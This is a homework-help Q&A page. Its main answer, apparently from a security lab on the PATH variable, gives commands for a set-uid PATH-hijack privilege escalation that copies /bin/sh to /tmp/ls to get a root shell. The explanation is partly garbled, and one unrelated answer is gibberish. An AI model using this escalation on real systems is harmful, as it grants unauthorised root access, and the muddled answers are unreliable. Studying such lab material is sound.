1answer.
Ask question
Login Signup
Ask question
All categories
  • English
  • Mathematics
  • Social Studies
  • Business
  • History
  • Health
  • Geography
  • Biology
  • Physics
  • Chemistry
  • Computers and Technology
  • Arts
  • World Languages
  • Spanish
  • French
  • German
  • Advanced Placement (AP)
  • SAT
  • Medicine
  • Law
  • Engineering
telo118 [61]
3 years ago
5

The PATH environment variable.

Computers and Technology
1 answer:
enot [183]3 years ago
8 0

Answer:

Answer explained below

Explanation:

Yes, you can let Set-uid program that is owned by root to run your code instead of /bin/ls but it has it's own drawbacks and is actually not safe.

As you can not rely on that since some of the shells if different from the ruid drop an euid which is actually not safe.

execl("/bin/ls", "ls",(char *)0);  

run this under your main program.

Since it can have a root previlege,

-$ cd /tmp/

/tmp$ sudo su

:/tmp# gcc -o system system.c

:/tmp# chmod u+s system // changing file permissions

:/tmp# exit

exit

:/tmp$ cp /bin/sh /tmp/ls

:/tmp$ ./system

<u>Steps: </u>

1. The first thing you need to do is copy /bin/sh to /tmp.

2. After copying /bin/sh to /tmp set a new name ls but make sure your sh ->.zsh.

3. Set PATH to current directory. /tmp.

4. Compile

5. Run the program system and you can get your root previledge.

Now, with the above exmaple if you change /bin/sh soo that it points back to /bin/bash and repeat all the previous steps, you will not be able to get your root previledges.

You might be interested in
Compare and contrast hardware and software.
lesya692 [45]
Hardware:
-physical parts of a computer that cause processing of data
-can be connected (physically) & can touch
- Hardware wares out during/over time
-Hardware failure is random
Software:
-A set of construction that tells a computer exactly what to do
-software is logical in nature
- dose not have an increasing failure rate

Similarities
- Behavior; Users interact with the products in various ways

- Products produce outputs and given inputs

-they have functional (user facing) and non functional (non user facing) requirements

-They are both complex (any representation of product specifications lead to a main structure)


Differences
- Software is easier to change then hardware

- Software testing is done by specialized quality assurance (QA) engineers, while hardware is done by engineers who are creating the product

-Hardware must be designed and tested to work over a range of time and environmental conditions, which is not the case for software

- Hardware designs are constrained by the need to incorporate standard parts

(Hope this helps?)
7 0
2 years ago
Read 2 more answers
Please hurry Arrange the steps of the engineering design process in the correct sequence.
AnnZ [28]

Answer:The Nine steps  of the engineering design process

  1. <u>Identify the Problem</u>-Defining the problem
  2. Finding solutions through Brainstorming technique
  3. Conducting a background research/Survey
  4. Developing the solution-Creating an array of solutions
  5. Selecting the best solution
  6. Building a prototype
  7. Testing and redesigning
  8. Improve the design-Specifying the requirement
  9. Communicating the result

6 0
3 years ago
A(n) _____________ is a simple tool that can help identify computers/devices or communication circuits that have higher-than-ave
jok3333 [9.3K]
Fdddfdashddxzvcsssgtd
3 0
3 years ago
g Design a Boolean function called isPrime, that accepts an integer as an argument and returns True if the argument is a prime n
professor190 [17]

Answer:

#include <bits/stdc++.h>

using namespace std;

bool isPrime(int n)

{

   for(int j=2;j<=n-1;j++)  //loop to check prime..

   {

       if(n%j==0)

       return false;

   }

   return true;

}

int main(){

   int n;

   cout<<"Enter the integer"<<endl;//taking input..

   cin>>n;

   if(isPrime(n))//printing the message.

   {

       cout<<"The number you have entered is prime"<<endl;

   }

   else

   {

       cout<<"The number is not prime"<<endl;

   }

return 0;

}

Output:-

Enter the integer

13

The number you have entered is prime

Explanation:

The above written program is in C++.I have created a function called isPrime with an argument n.I have used a for loop to check if the number is prime or not.In the main function I have called the function isPrime for checking the number is prime or not.

4 0
3 years ago
Which of the following is considered a modern method of communication?
Vika [28.1K]
The answer is C. Tablet, because that is the quickest, easiest, and most recent way of communication.
4 0
3 years ago
Read 2 more answers
Other questions:
  • Which social networking function came first?
    9·2 answers
  • Peripherals can be used to input information. True False
    6·2 answers
  • Make a program that (i) asks the user for a temperature in Fahrenheit degrees and reads the number; (ii) computes the correspond
    8·1 answer
  • A student is curious about how a Web site appears on his computer screen. On a piece of paper,
    9·1 answer
  • What are the two types of computer keyboards and how are they different?
    6·2 answers
  • What Are the Benefits of Using Leads Automation Tool?
    5·1 answer
  • Because people can easily upload information and share online, they tend to:
    15·1 answer
  • 2. The<br>is the main and usually largest data storage hardware device in a computer​
    9·1 answer
  • Which of the following is true about overloaded methods?
    6·1 answer
  • To print a square of star shaoe we use the following code:
    10·1 answer
Add answer
Login
Not registered? Fast signup
Signup
Login Signup
Ask question!